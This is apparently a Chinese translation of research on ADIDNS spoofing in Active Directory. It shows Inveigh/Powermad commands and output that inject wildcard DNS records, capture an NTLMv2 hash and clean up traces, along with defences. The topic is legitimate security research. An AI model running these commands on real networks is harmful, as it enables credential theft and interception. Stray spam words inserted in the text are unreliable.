内网渗透技术之超越LLMNR/NBNS欺骗的ADIDNS欺骗攻击

article/2025/9/16 21:06:19

利用名称解析协议中的缺陷进行内网渗透是执行中间人(MITM)攻击的常用技术。有两个特别容易受到攻击的名称解析协议分别是链路本地多播名称解析(LLMNR)和NetBIOS名称服务(NBNS)。攻击者可以利用这两种协议来响应无法通过更高优先级的解析方法(如DNS)应答的请求。Active Directory(AD)环境中默认启用了LLMNR和NBNS,这使得这种类型的欺骗攻击将会成为一种非常有效的方式,既可以获得对域的初始访问权限,也可以在漏洞后期利用过程中提升域权限。为了在内网渗透的场景中使用这种攻击技术,我开发了Inveigh这个工具,这是一个基于PowerShell的LLMNR/NBNS欺骗工具,可以在已经拿到权限的AD主机上运行。

 

PS C:\users\kevin\Desktop\Inveigh> Invoke-Inveigh -ConsoleOutput Y
[*] Inveigh 1.4 Dev started at 2018-07-05T22:29:35
[+] Elevated Privilege Mode = Enabled
[+] Primary IP Address = 192.168.125.100
[+] LLMNR/NBNS/mDNS/DNS Spoofer IP Address = 192.168.125.100
[+] LLMNR Spoofer = Enabled
[+] NBNS Spoofer = Enabled
[+] SMB Capture = Enabled
[+] HTTP Capture = Enabled
[+] HTTPS Capture = Disabled
[+] HTTP/HTTPS Authentication = NTLM
[+] WPAD Authentication = NTLM
[+] WPAD Default Response = Enabled
[+] Real Time Console Output = Enabled
WARNING: [!] Run Stop-Inveigh to stop manually
[*] Press any key to stop real time console output
[+] [2018-07-05T22:29:53] LLMNR request for badrequest received from 192.168.125.102 [Response Sent]
[+] [2018-07-05T22:29:53] SMB NTLMv2 challenge/response captured from 192.168.125.102(INVEIGH-WKS2):
testuser1::INVEIGH:3E834C6F9FC3CA5B:CBD38F1537AAD7D39CE6A5BC5687373A:010100000000000071ADB439D114D401D5B48AB8C3EC8E010000000002000E0049004E00560045004900470048000100180049004E00560045004900470048002D0057004B00530031000400160069006E00760065006900670068002E006E00650074000300300049006E00760065006900670068002D0057004B00530031002E0069006E00760065006900670068002E006E00650074000500160069006E00760065006900670068002E006E00650074000700080071ADB438D114D401060004000200000008003000300000000000000000000000002000004FC481EC79C5F6BB2B29A2C828A02EC028C9FF563BE5D9597D51FD6DF29DC8BD0A0010000000000000000000000000000000000009001E0063006900660073002F006200610064007200650071007500650073007400000000000000000000000000

在我开发Inveigh的整个过程中,我在域环境中进行了很多实验,从不同级别的权限的角度出发,深入研究了LLMNR/NBNS欺骗攻击过程。Inveigh的许多更新实际上都是在试图实现其他一些基于特权的使用功能。

最近,在Inveigh之外的一些研究工作,让我的脑海里出现了一个棘手的问题。如果你已经拥有了对域的非特权访问权限,那么执行LLMNR/NBNS欺骗甚至是执行基于名称解析的MITM攻击会是一种最佳的攻击方式吗?为了获得这个问题的答案,我不断的在研究可疑的AD角色配置,这个角色配置给了我一些找到问题答案的启发,即Active Directory集成DNS(ADIDNS)。

名称解析顺序

鉴于撰写本文的目的,我将简要介绍关于LLMNR / NBNS欺骗的两个关键部分。首先,在没有实现某些基于路由器的流量路由的情况下,LLMNR和NBNS请求分别包含在单个多播或广播域中。这可以极大地限制被入侵的系统和受到潜在特权欺骗攻击的会话的影响范围。其次,在默认情况下,Windows系统在尝试解析通过基于网络协议的名称解析请求时会使用以下优先级列表:

1.DNS

2.LLMNR

3.NBNS

尽管DNS不直接作为整个攻击中的一部分而被利用,但由于它控制了哪些请求能够交给LLMNR或NBNS处理,所以,实际上DNS对LLMNR/NBNS欺骗的有效性具有很大的影响。基本上来说,如果名称请求与DNS中列出的记录相匹配,则客户端通常不会尝试通过LLMNR和NBNS来解析请求。中国菜刀

在执行攻击时,我们是否真的需要满足基于网络的名称解析协议的层次结构所对应的解析顺序?是否有一种可以直接利用DNS进行解析的简单方法?记住我们在域中仅具有非特权访问权限这个限制条件,让我们看看在这个限制条件下我们必须使用什么才可以完成攻击。

· Active Directory集成的DNS区域

· 修改ADIDNS区域

· 动态更新

· 使用动态更新补充LLMNR / NBNS欺骗攻击

· 记忆方式

· 通配符记录

· 名字里面有什么?

· ADIDNS同步和复制

· SOA序列号

· 维持节点控制

· 节点墓碑化

· 节点删除

· 防御ADIDNS攻击

· 最终的获胜者是?

· 相关工具!

Active Directory集成的DNS区域

域控制器和ADIDNS区域总是一起出现。每个域控制器通常都有一个可访问的DNS服务器,至少托管了默认的ADIDNS区域。

 内网渗透技术之超越LLMNR/NBNS欺骗的ADIDNS欺骗攻击

我要强调的第一个默认设置是ADIDNS区域的自主访问控制列表(DACL)。

 内网渗透技术之超越LLMNR/NBNS欺骗的ADIDNS欺骗攻击

从上图中,你可以看到,该区域默认情况下列出了具有“Authenticated Users”(已验证用户),“Create all child objects”(创建所有子对象)。经过身份验证的用户对域名的操作门槛相当低,当然,这类用户可以操作的域名也包括了不需要特权可以访问的目标。但是,我们要清楚我们该如何利用这个特性以及我们可以用它做什么?

修改ADIDNS区域

远程修改ADIDNS区域主要有两种方法。第一种是使用基于RPC的管理工具。要运行这些工具通常需要DNS管理员或者更高的权限,因此我不打算描述这些工具的功能。第二种方法是DNS动态更新。动态更新是专门用于修改DNS区域的DNS特定协议。在AD世界中,动态更新主要由计算机帐户所使用,用于添加和更新自己的DNS记录。

这将我们带到了另一个我们所感兴趣的ADIDNS区域的默认设置,即安全动态更新的启用状态。天空彩

内网渗透技术之超越LLMNR/NBNS欺骗的ADIDNS欺骗攻击

动态更新

去年,为了在漏洞后期利用期间更轻松地利用此默认设置,我开发了一个名为Invoke-DNSUpdate的PowerShell DNS动态更新工具。

 

PS C:\Users\kevin\Desktop\Powermad> Invoke-DNSupdate -DNSType A -DNSName test -DNSData 192.168.125.100 -Verbose
VERBOSE: [+] TKEY name 648-ms-7.1-4675.57409638-8579-11e7-5813-000c296694e0
VERBOSE: [+] Kerberos preauthentication successful
VERBOSE: [+] Kerberos TKEY query successful
[+] DNS update successful

一旦了解了如何将权限应用于DNS记录,那么使用安全动态更新的规则就变得非常简单。如果区域中并不存在匹配的DNS记录名称,则经过身份验证的用户就可以创建相应的DNS记录。创建者帐户将获得DNS记录的所有权或完全控制权。

 内网渗透技术之超越LLMNR/NBNS欺骗的ADIDNS欺骗攻击

如果DNS区域中已存在匹配的记录名称,则将禁止经过身份验证的用户修改或删除记录,除非用户具有所需的权限,例如用户是管理员的情况。请注意,我正在使用DNS记录名称而不是DNS记录。在这方面,标准的DNS视图可能会令人困惑。实际上,权限是根据DNS记录名称而不是在DNS控制台中查看的单个DNS记录来应用的。

例如,如果管理员创建了名为“test”的记录,则非特权帐户无法创建第二条名为“test”的记录来作为DNS循环设置的一部分。这也适用于多种DNS记录类型。如果DNS区域的根区域存在默认的A记录,则非特权帐户无法为DNS区域创建根MX记录,因为两个记录在内部都被命名为“@”。在本文中,我们将从另一个角度查看DNS记录,这会提供更好的按名称分组的ADIDNS记录视图。

以下是默认的记录,可防止非特权帐户的操作影响到Kerberos和LDAP等AD服务。

 内网渗透技术之超越LLMNR/NBNS欺骗的ADIDNS欺骗攻击

对于可以通过非特权用户的动态更新所创建的记录类型,几乎没有任何限制。允许创建的类型仅限于Windows服务器动态更新实现所支持的类型。一般支持最常见的记录类型。Invoke-DNSUpdate目前支持A,AAAA,CNAME,MX,PTR,SRV和TXT记录。总的来说,如果可以识别出不存在的且值得添加的DNS记录,那么单独的安全动态更新肯定是可以被攻击者利用的。

使用动态更新补充LLMNR / NBNS欺骗

为了使安全动态更新武器化并能够像LLMNR / NBNS欺骗类似的方式运行,我研究了如何将记录注入到ADIDNS中来匹配并响应收到的LLMNR / NBNS请求。理论上讲,DNS中不应该存在能够降至LLMNR / NBNS的记录。因此,这些记录确实需要已经过身份验证的用户来创建。此方法不实用于在内网中不常见的或只有一次请求的名称。但是,如果你通过LLMNR / NBNS继续看到了相同的请求,则将该记录添加到DNS可能会有所帮助。

在即将推出的Inveigh版本中包含了这种技术的变体。如果Inveigh从多个系统检测到相同的LLMNR / NBNS请求,则可以将匹配记录添加到ADIDNS。当系统发送已经不在DNS中存在的旧主机的LLMNR / NBNS名称解析请求时,这种方法可能很有效。如果子网内的多个系统正在尝试解析一个特定的名称,那么外部的系统也有可能正在尝试解析相同的名称。在这种情况下,注入ADIDNS有助于将攻击扩展到子网边界。

 

PS C:\users\kevin\Desktop\Inveigh> Invoke-Inveigh -ConsoleOutput Y -DNS Y -DNSThreshold 4
[*] Inveigh 1.4 Dev started at 2018-07-05T22:32:37
[+] Elevated Privilege Mode = Enabled
[+] Primary IP Address = 192.168.125.100
[+] LLMNR/NBNS/mDNS/DNS Spoofer IP Address = 192.168.125.100
[+] LLMNR Spoofer = Enabled
[+] DNS Injection = Enabled
[+] SMB Capture = Enabled
[+] HTTP Capture = Enabled
[+] HTTPS Capture = Disabled
[+] HTTP/HTTPS Authentication = NTLM
[+] WPAD Authentication = NTLM
[+] WPAD Default Response = Enabled
[+] Real Time Console Output = Enabled
WARNING: [!] Run Stop-Inveigh to stop manually
[*] Press any key to stop real time console output
[+] [2018-07-05T22:32:52] LLMNR request for dnsinject received from 192.168.125.102 [Response Sent]
[+] [2018-07-05T22:33:00] LLMNR request for dnsinject received from 192.168.125.100 [Response Sent]
[+] [2018-07-05T22:35:00] LLMNR request for dnsinject received from 192.168.125.104 [Response Sent]
[+] [2018-07-05T22:41:00] LLMNR request for dnsinject received from 192.168.125.105 [Response Sent]
[+] [2018-07-05T22:50:00] LLMNR request for dnsinject received from 192.168.125.106 [Response Sent]
WARNING: [!] [2018-07-05T22:33:01] DNS (A) record for dnsinject added

记住方式

在尝试寻找理想的安全动态更新攻击时,我在协议本身或已经存在的默认DNS记录这块遇到了困难。因为,如前面所述,我曾计划在Inveigh中实现动态更新攻击,于是我开始更多地思考如何在渗透测试中使用这种技术。为了帮助渗透测试人员确认这种攻击确实可以起作用,我意识到创建一个PowerShell函数会有所帮助,该函数可以通过非特权帐户的上下文查看ADIDNS区域的权限。但是,如果不使用只有管理员才有权限使用的工具,我能否可以远程枚举DACL呢?在我的大脑中没有参与ADIDNS研究的那一部分立即回答道:“DNS区域存储在AD中,只需通过LDAP查看DACL”。

LDAP …

……看来还有另外一种查看DNS区域的方式我没有用过。

我回想了我在当网络管理员的工作期间可能遇到的事情,我发现ADIDNS区域当前存储在DomainDNSZones或ForestDNSZones分区中。

内网渗透技术之超越LLMNR/NBNS欺骗的ADIDNS欺骗攻击

LDAP为“经过身份验证的用户”提供了一种可以在不依赖动态更新的情况下修改ADIDNS区域的方法。通过创建dnsNode类的AD对象,可以直接通过LDAP将DNS记录添加到ADIDNS区域。

 内网渗透技术之超越LLMNR/NBNS欺骗的ADIDNS欺骗攻击

通过这种简单的理解,我现在有了一种执行我一直在追逐的DNS攻击的方法。

 内网渗透技术之超越LLMNR/NBNS欺骗的ADIDNS欺骗攻击

通配符记录

通配符记录允许DNS以一种与LLMNR / NBNS欺骗非常类似的方式运行。创建通配符记录后,DNS服务器将使用该记录来响应包含在区域中但未明确匹配到的记录的名称请求。

 

PS C:\Users\kevin\Desktop\Powermad> Resolve-DNSName NoDNSRecord
Name                            Type   TTL   Section    IPAddress
----                            ----   ---   -------    ---------
NoDNSRecord.inveigh.net         A      600   Answer     192.168.125.100

与LLMNR / NBNS不同,通配符记录还会解析与ADIDNS区域匹配到的完全限定名称的请求。

 

PS C:\Users\kevin\Desktop\Powermad> Resolve-DNSName NoDNSRecord2.inveigh.net
Name                            Type   TTL   Section    IPAddress
----                            ----   ---   -------    ---------
NoDNSRecord2.inveigh.net        A      600   Answer     192.168.125.100

我使用通配符记录进行注入的过程被动态更新本身的一些限制所阻止。对于动态更新,至少Windows系统在实现的时候似乎没有正确处理'*'字符。但是,LDAP却没有同样的问题。

 

PS C:\Users\kevin\Desktop\Powermad> New-ADIDNSNode -Node * -Verbose
VERBOSE: [+] Domain Controller = Inveigh-DC1.inveigh.net
VERBOSE: [+] Domain = inveigh.net
VERBOSE: [+] ADIDNS Zone = inveigh.net
VERBOSE: [+] Distinguished Name = DC=*,DC=inveigh.net,CN=MicrosoftDNS,DC=DomainDNSZones,DC=inveigh,DC=net
VERBOSE: [+] Data = 192.168.125.100
VERBOSE: [+] DNSRecord Array = 04-00-01-00-05-F0-00-00-BA-00-00-00-00-00-02-58-00-00-00-00-22-D8-37-00-C0-A8-7D-64
[+] ADIDNS node * added

名称里面有什么?

我们把研究的步伐后退一步,让我们看一下DNS节点是如何用于形成ADIDNS记录的。ADIDNS记录的主要结构存储在dnsRecord属性中。此属性定义了一些元素,比如记录类型,目标IP地址或主机名以及静态与动态分类之类的元素。

 内网渗透技术之超越LLMNR/NBNS欺骗的ADIDNS欺骗攻击

名称之外的所有关键记录的详细信息都存储在dnsRecord中。如果你有兴趣,可以在MS-DNSP中找到有关属性结构的更多信息。

我创建了一个名为New-DNSRecordArray的PowerShell函数,它可以为A,AAAA,CNAME,DNAME,MX,NS,PTR,SRV和TXT这些记录类型创建一个dnsRecord数组。

 

PS C:\Users\kevin\Desktop\Powermad> $dnsRecord = New-DNSRecordArray -Type A -Data 192.168.125.100
PS C:\Users\kevin\Desktop\Powermad> [System.Bitconverter]::ToString($dnsrecord)
04-00-01-00-05-F0-00-00-BA-00-00-00-00-00-02-58-00-00-00-00-79-D8-37-00-C0-A8-7D-64

正如我之前所提到的,LDAP可以更好地查看匹配到名称的DNS记录是如何组合在一起的。单个DNS节点可以在dnsRecord属性中包含多行。每行代表一个具有相同名称的单独的DNS记录。下面是名称为“@”的节点的dnsRecord属性中包含的多个记录的示例。

 内网渗透技术之超越LLMNR/NBNS欺骗的ADIDNS欺骗攻击

可以通过在结尾附加而不是覆盖现有属性值的方式将新的行添加到节点的dnsRecord属性中。我创建的用于编辑属性的PowerShell函数Set-ADIDNSNodeAttribute有一个'Append'开关可以用来执行此操作。

ADIDNS同步和复制

通过LDAP修改ADIDNS区域时,你可能会发现节点添加到LDAP与在DNS中出现该记录之间会有延迟。这是因为DNS服务器的服务正在使用它自己的ADIDNS区域的内存副本。默认情况下,DNS服务器每隔180秒会把内存中的副本与AD进行同步。

在大型的多站点的AD基础架构中,域控制器复制时间可能是发起ADIDNS欺骗攻击的一个因素和时机。在企业内网中,为了充分扩大并利用我们添加的记录所影响的范围,攻击时间需要延长复制延迟的时间。默认情况下,站点之间的复制最多可能需要三个小时。要减少延迟,可以通过定位一台攻击效果最大的DNS服务器来启动攻击。尽管在内网环境中向每个DNS服务器添加记录并在复制之前跳转可以起作用,但请记住,一旦复制完成,AD将需要对重复对象进行排序。

SOA序列号

使用ADIDNS区域有另外一个需要考虑的因素是网络上可能存在其他集成的DNS服务器。如果服务器托管了从属的DNS区域,则序列号会用于确定是否发生了更改。幸运的是,通过LDAP添加DNS节点时,序列号会递增。递增的序列号需要包含在节点的dnsRecord数组中,确保可以将记录复制到托管从属区域的服务器。区域的SOA序列号是所有节点的dnsRecord属性中列出的数字最高的一个序列号。在这里需要注意的是SOA序列号只递增1,防止区域的序列号出现不必要地大量递增。我创建了一个名为New-SOASerialNumberArray的PowerShell函数,简化了这个过程。

 

PS C:\Users\kevin\Desktop\Powermad> New-SOASerialNumberArray
62
0
0
0

SOA序列号也可以通过nslookup获得。

 

PS C:\Users\kevin\Desktop\Powermad> nslookup
Default Server:  UnKnown
Address:  192.168.125.10
> set type=soa
> inveigh.net
Server:  UnKnown
Address:  192.168.125.10
inveigh.netprimary name server = inveigh-dc1.inveigh.netresponsible mail addr = hostmaster.inveigh.netserial  = 255refresh = 900 (15 mins)retry   = 600 (10 mins)expire  = 86400 (1 day)default TTL = 3600 (1 hour)
inveigh-dc1.inveigh.net internet address = 192.168.125.10

收集的序列号可以直接提供给New-SOASerialNumberArray使用。在这种情况下,New-SOASerialNumberArray将跳过连接到DNS服务器的过程,并直接使用你指定的序列号。

维持节点控制

一旦使用经过身份验证的用户创建了节点,创建者帐户将拥有该节点的所有权或完全控制权。“Authenticated Users”主体本身不会在节点的DACL中列出。因此,失去对创建者帐户的访问权限可能会导致你无法删除已添加的记录。为了避免这种情况,可以在创建节点时将dNSTombstoned属性设置为“True”。

 

PS C:\Users\kevin\Desktop\Powermad> New-ADIDNSNode -Node * -Tombstone -Verbose
VERBOSE: [+] Domain Controller = Inveigh-DC1.inveigh.net
VERBOSE: [+] Domain = inveigh.net
VERBOSE: [+] ADIDNS Zone = inveigh.net
VERBOSE: [+] Distinguished Name = DC=*,DC=inveigh.net,CN=MicrosoftDNS,DC=DomainDNSZones,DC=inveigh,DC=net
VERBOSE: [+] Data = 192.168.125.100
VERBOSE: [+] DNSRecord Array = 04-00-01-00-05-F0-00-00-BC-00-00-00-00-00-02-58-00-00-00-00-22-D8-37-00-C0-A8-7D-64
[+] ADIDNS node * added

这使得节点处于一种任何一个经过身份验证的用户都可以执行节点修改的状态。

 内网渗透技术之超越LLMNR/NBNS欺骗的ADIDNS欺骗攻击

或者,可以修改节点的DACL来授予对其他用户或组的访问权限。

 

PS C:\Users\kevin\Desktop\Powermad> Grant-ADIDNSPermission -Node * -Principal "Authenticated Users" -Access GenericAll -Verbose
VERBOSE: [+] Domain Controller = Inveigh-DC1.inveigh.net
VERBOSE: [+] Domain = inveigh.net
VERBOSE: [+] ADIDNS Zone = inveigh.net
VERBOSE: [+] Distinguished Name = DC=*,DC=inveigh.net,CN=MicrosoftDNS,DC=DomainDNSZones,DC=inveigh,DC=net
[+] ACE added for Authenticated Users to * DACL

拥有创建者帐户的所有权和节点上列出的完全控制权限可以使网络管理员在发现你添加的记录时变得非常容易。虽然可以更改节点的所有权,但是这需要你拥有SeRestorePrivilege的令牌。

节点墓碑化

记录的清除并不像从LDAP中删除节点那么简单。如果这样做的话,记录仍然保留在DNS服务器内存中的区域副本中,直到重新启动服务或手动重新加载ADIDNS区域。此外,180秒的AD同步并不会从DNS中删除记录。

通常在ADIDNS区域中删除记录时,同时也将从内存中的DNS区域副本中删除该记录,并且该节点对象仍保留在AD中。要完成清除工作,节点的dNSTombstoned属性需要设置为“True”,并使用包含墓碑化时间戳的零类型来填充更新的dnsRecord属性。

 内网渗透技术之超越LLMNR/NBNS欺骗的ADIDNS欺骗攻击

删除记录不一定需要你自己生成有效的零类型数组。如果dnsRecord属性填充了无效值(例如只有0x00),则在下一次AD 和 DNS同步期间,该值将自动切换为零类型数组。

为了简化清理工作,我创建了一个名为Disable-ADIDNSNode的PowerShell函数,它会更新dNSTombstoned和dnsRecord属性。

 

PS C:\Users\kevin\Desktop\Powermad> Disable-ADIDNSNode -Node * -Verbose
VERBOSE: [+] Domain Controller = Inveigh-DC1.inveigh.net
VERBOSE: [+] Domain = inveigh.net
VERBOSE: [+] ADIDNS Zone = inveigh.net
VERBOSE: [+] Distinguished Name = DC=*,DC=inveigh.net,CN=MicrosoftDNS,DC=DomainDNSZones,DC=inveigh,DC=net
[+] ADIDNS node * tombstoned

对于在有多个记录的DNS节点中作为单个dnsRecord属性行存在的记录,清理过程略有不同。只需删除相关的dnsRecord属性行并等待同步或复制。Set-DNSNodeAttribute可用于完成此清理操作。

如果你决定通过LDAP或动态更新处理现有的记录,则需要注意有关墓碑节点的事项。正常记录的删除过程也会将dNSTombstoned属性设置为“True”。处于此状态的记录被认为是老的记录,如果设置为“True”,则可以进行清理。如果未启用清理,这些记录可能会在DNS中驻留一段时间。在没有启用清理功能的测试实验室中,我经常会看到最初由计算机帐户注册的过时记录。使用过时记录时应多加小心。虽然它们肯定是攻击的潜在目标,但它们也可能会因为错误地操作而被覆盖或删除。

节点删除

完全删除DNS和AD中的DNS记录可以更好地抹除你的渗透痕迹。抹除记录需要首先进行节点墓碑化。当AD 和DNS同步以后,要删除内存中的记录,可以通过LDAP删除节点。然而复制使得清理工作变得很棘手。不过只需在单个域控制器上快速执行这两个步骤,就会将节点删除任务复制到其他域控制器上。在这种情况下,记录将保留在除一个域控制器之外的所有内存区域的副本中。在渗透测试期间,可以使用常用的从ADIDNS删除记录的方式清理墓碑节点。

防御ADIDNS攻击

不幸的是,目前还没有已知的针对ADIDNS攻击的防御措施。

 内网渗透技术之超越LLMNR/NBNS欺骗的ADIDNS欺骗攻击

好吧,实际上,有几个很容易部署的防御方案,其中一个是使用静态通配符记录。要防御潜在的ADIDNS欺骗攻击,最简单的方法是保持对关键的DNS记录的控制。例如,以管理员身份创建静态通配符记录可以阻止非特权帐户创建自己的通配符记录。

 

PS C:\Users\kevin\Desktop\Powermad> New-ADIDNSNode -Node * -Tombstone -Verbose
VERBOSE: [+] Domain Controller = Inveigh-DC1.inveigh.net
VERBOSE: [+] Domain = inveigh.net
VERBOSE: [+] ADIDNS Zone = inveigh.net
VERBOSE: [+] Distinguished Name = DC=*,DC=inveigh.net,CN=MicrosoftDNS,DC=DomainDNSZones,DC=inveigh,DC=net
VERBOSE: [+] Data = 192.168.125.100
VERBOSE: [+] DNSRecord Array = 04-00-01-00-05-F0-00-00-BD-00-00-00-00-00-02-58-00-00-00-00-20-D8-37-00-C0-A8-7D-64
[-] Exception calling "SendRequest" with "1" argument(s): "The object exists."

记录可以指向你选择的黑洞方法,例如0.0.0.0。

 内网渗透技术之超越LLMNR/NBNS欺骗的ADIDNS欺骗攻击

由管理员所控制的通配符记录的另外一个好处是该记录还能防御LLMNR / NBNS欺骗攻击。通配符将通过DNS响应区域内的所有名称请求,并防止名称请求下降到LLMNR / NBNS而被解析。我强烈建议管理员控制的通配符记录作为LLMNR / NBNS欺骗的一般防御手段。

你还可以修改ADIDNS区域的DACL,更进一步提高防御能力。具体的设置需要根据特定的环境来操作。幸运的是,在实际情况中,要求允许“已经过身份验证的用户”创建记录的可能性非常低。因此,当然存在DACL强化的空间。请记住,将记录创建限制为仅限管理员和计算机帐户可能仍会提供很多攻击时机,并且攻击者无需保持对关键记录的控制。

最终获胜者是?

与LLMNR / NBNS欺骗相比,ADIDNS欺骗的主要优点是攻击范围比较大,主要的缺点是需要访问AD所需的权限。让我们面对现实吧,我们不一定需要一个更好的LLMNR / NBNS欺骗方法。回顾过去,早在LLMNR欺骗攻击出现之前,NBNS欺骗就已经是一个严重的安全问题了。LLMNR和NBNS欺骗攻击一直都是有效的。我研究ADIDNS欺骗攻击已经有一段时间了,所以我的一般建议是,从LLMNR / NBNS欺骗开始,并根据需要引入ADIDNS欺骗。LLMNR / NBNS和ADIDNS技术实际上是相互补充的。

为帮助你做出自己的决定,下面的表格包含了一些ADIDNS,LLMNR和NBNS欺骗攻击的一般特征:

内网渗透技术之超越LLMNR/NBNS欺骗的ADIDNS欺骗攻击

免责声明:除了能够具有超过标准的LLMNR / NBNS欺骗攻击能力之外,ADIDNS区域仍有许多领域需要探索。

相关工具!

我发布了一个新版的Powermad,它包含了几个用于处理ADIDNS的功能,包括本文中描述的一些功能:

https://github.com/Kevin-Robertson/Powermad

我将按步骤说明完善Powermad 的 wiki:

https://github.com/Kevin-Robertson/Powermad/wiki

此外,如果你想参与到代码的开发中来,你可以在dev分支中找到一个实现了ADIDNS欺骗攻击的Inveigh 1.4版本:

https://github.com/Kevin-Robertson/Inveigh/tree/dev


http://chatgpt.dhexx.cn/article/Vc1Ab3Rr.shtml

相关文章

利用 LLMNR 名称解析缺陷劫持内网指定主机会话

导读本文将会对 LLMNR 协议进行分析并用 python 实现质询和应答。后半部分则会重点阐述利用 LLMNR 在名称解析过程中的缺陷进行实战攻击的部分思路。 0x00 LLMNR 简介 从 Windows Vista 起,Windows 操作系统开始支持一种新的名称解析协议 —— LLMNR,主要…

LLMNR协议

LLMNR协议 http://en.wikipedia.org/wiki/Link-local_Multicast_Name_Resolution The Link Local Multicast Name Resolution (LLMNR) is a protocol based on the Domain Name System (DNS) packet format that allows both IPv4 and IPv6 hosts to perform name resolutio…

组播风暴引起的路由系统重启(LLMNR协议)

网络拓扑 一台路由设备连接可以上网的上级,连接方式DHCP,一台中继器,2.4G和5G同时中继到路由设备(双频中继之后,优先走5G),一台chromecast播放视频,一台ipad连接,一台网络摄像头连接…

内网渗透研究:LLMNR和NetBIOS欺骗攻击分析

目录 基础知识 LLMNR是什么? LLMNR 的工作过程 NetBIOS是什么? Windows系统名称解析顺序 LLMNR和NetBIOS欺骗攻击 攻击原理 Responder工具利用过程 针对LLMNR和NetBIOS欺骗攻击的防御 基础知识 LLMNR是什么? 链路本地多播名称解析&…

LLMNR和NetBIOS欺骗攻击分析及防范

本文首发于先知社区:https://xz.aliyun.com/t/9714 链路本地多播名称解析(LLMNR)是一个基于域名系统(DNS)数据包格式的协议,IPv4和IPv6的主机可以通过此协议对同一本地链路上的主机执行名称解析。 在DNS …

llmnr协议 名称解析缺陷劫持内网指定主机会话

目录 0x00 LLMNR 简介 0x01 LLMNR 协议分析 0x02 LLMNR 名称解析过程 0x03 编程实现 LLMNR 的质询和应答 0x04 LLMNR Poison 攻击原理 0x05 利用伪造源 IP LLMNR Poisone 劫持内网指定主机会话 0x06 LLMNR Poison 实战攻击思路 0x07 总结 0x00 LLMNR 简介 从 Windows …

NetBIOS名称欺骗和LLMNR欺骗

本文原创作者: 贺兰山缺口 原创投稿详情:重金悬赏 | 合天原创投稿等你来! NetBIOS和LLMNR简介 NetBIOS和Link-LocalMulticast NameResolution(LLMNR)是Microsoft针对工作组和域设计的名称解析协议,主要用于…

【内网学习笔记】18、LLMNR 和 NetBIOS 欺骗攻击

0、前言 如果已经进入目标网络,但是没有获得凭证,可以使用 LLMNR 和 NetBIOS 欺骗攻击对目标进行无凭证条件下的权限获取。 1、基本概念 LLMNR 本地链路多播名称解析(LLMNR)是一种域名系统数据包格式,当局域网中的…

LLMNR Poison技术详解

一、LLMNR 协议 简介 从 Windows Vista 起,Windows 操作系统开始支持一种新的名称解析协议 —— LLMNR,主要用于局域网中的名称解析。LLMNR 能够很好的支持 IPv4 和 IPv6,因此在 Windows 名称解析顺序中是一个仅次于 DNS 的名称解析方式&am…

最简单的动态数据源配置

动态数据源配置 操作步骤:一、数据源配置配置方式:二、动态数据源相关类1. 枚举类定义如下:2. 重写查找当前数据源的方法:3. 用ThreadLocal变量存储查询数据源的字符串:4. 用动态数据源替换掉普通的数据源 二、测试结果。1. Mapper类2.TestMapper 二、重点来了!! 操作步骤: 提…

几种数据源的配置方式

目录 1.c3p0配置方式 2.dbcp配置方式 3.DriverManagerDataSource配置方式 4.HikariDataSource配置方式 5.多数据源整合&#xff08;编程式事务&#xff09; 1.c3p0配置方式 lib: applicationContext.xml <?xml version"1.0" encoding"UTF-8"?&g…

多数据源配置-springBoot

前言 这里展示的是springBoot项目双数据源的配置&#xff0c;为了增加一定的代表性&#xff0c;这里采用两个不同的数据库Orcale和Mysql作为数据源。 依赖 <!-- orcale驱动包 --> <dependency><groupId>com.oracle.database.jdbc</groupId><arti…

若依多数据源配置

1.修改application-druid.yml文件&#xff0c;这里使用mysql数据源&#xff0c;分别有ry-vue、ry-test1、ry-test2三个数据库。 2.修改DataSourceType类&#xff08;MASTER主库&#xff0c;SLAVE、LOGIN两个从库&#xff09;。 3.修改DruidConfig类。 以上配置完成后&#xff0…

如何配置数据源

(一&#xff09;官网 Spring Initializrhttps://start.spring.io/ &#xff08;二&#xff09;各依赖 &#xff08;三&#xff09;打印一下数据源 &#xff08;四&#xff09;查看有哪些bean &#xff08;五&#xff09;不用spring boot自己配置bean 1、数据源相关 • DataSou…

SpringBoot 之数据源配置

文章目录 市面上的几种数据源比对SpringBoot自动装配DataSource原理HiKariCP 数据源配置Druid 数据源配置SpringBoot集成Druid连接池Druid 多数据源配置&#xff08;不同Mapper操作不同数据源&#xff09;HikariCP 多数据源动态配置 springboot2.0整合druid&#xff0c;以及spr…

P值 卡方值

P值&#xff1a; P值即概率&#xff0c;反映某一事件发生的可能性大小。 不同的P数值所表达的含义也是不一样的。 统计学根据显著性检验方法所得到的P 值&#xff0c;一般以P < 0.05 为有统计学差异&#xff0c; P<0.01 为有显著统计学差异&#xff0c;P<0.001为有…

Python数据挖掘学习6卡方检验

1.定义&#xff1a;一种用途很广的计数资料的假设检验方法。它属于非参数检验的范畴&#xff0c;主要是比较两个及两个以上样本率( 构成比&#xff09;以及两个分类变量的关联性分析。 2.基本思想&#xff1a;统计样本的实际观测值与理论推断值之间的偏离程度&#xff0c;实际…

python scipy 密度函数 分位数 累计函数计算p值 卡方检验 t检验 F检验 假设检验 AB实验 显著性检验

AB实验&#xff1a; 1. 人均类->t检验 # 计算t值 def get_t(x):# 遍历看x需要几次的显著性检验。可能有多个实验组&#xff0c;需要一对一检验x1 x[x.分组.astype(str)1].iloc[0] # 对照组&#xff0c;组号固定为1&#xff0c;转为Series格式for i in x[x.分组.astype(st…

卡方检验c语言算法,R语言 | 卡方检验(Chi-squaretest)

卡方检验在计数资料中的应用,包括推断两个总体率或构成比之间有无差别、多个总体率或构成比之间有无差别、多个样本率间的多重比较、两个分类变量之间有无关联性、多维列联表的分析和频数分布拟合优度的卡方检验。选自:周支瑞老师 下面分别介绍计数资料怎么进行卡方检验。 目…

SPSS篇—卡方检验

今天依旧跟大家分享一个在SPSS中使用率比较高的分析方法&#xff1a;卡方检验。 在开始做分析之前&#xff0c;我们需要明白两件事情&#xff1a;卡方检验是什么&#xff1f;一般用来干什么&#xff1f;我们只有充分了解分析方法以后才能够正确的使用它。 卡方检验在百科中的…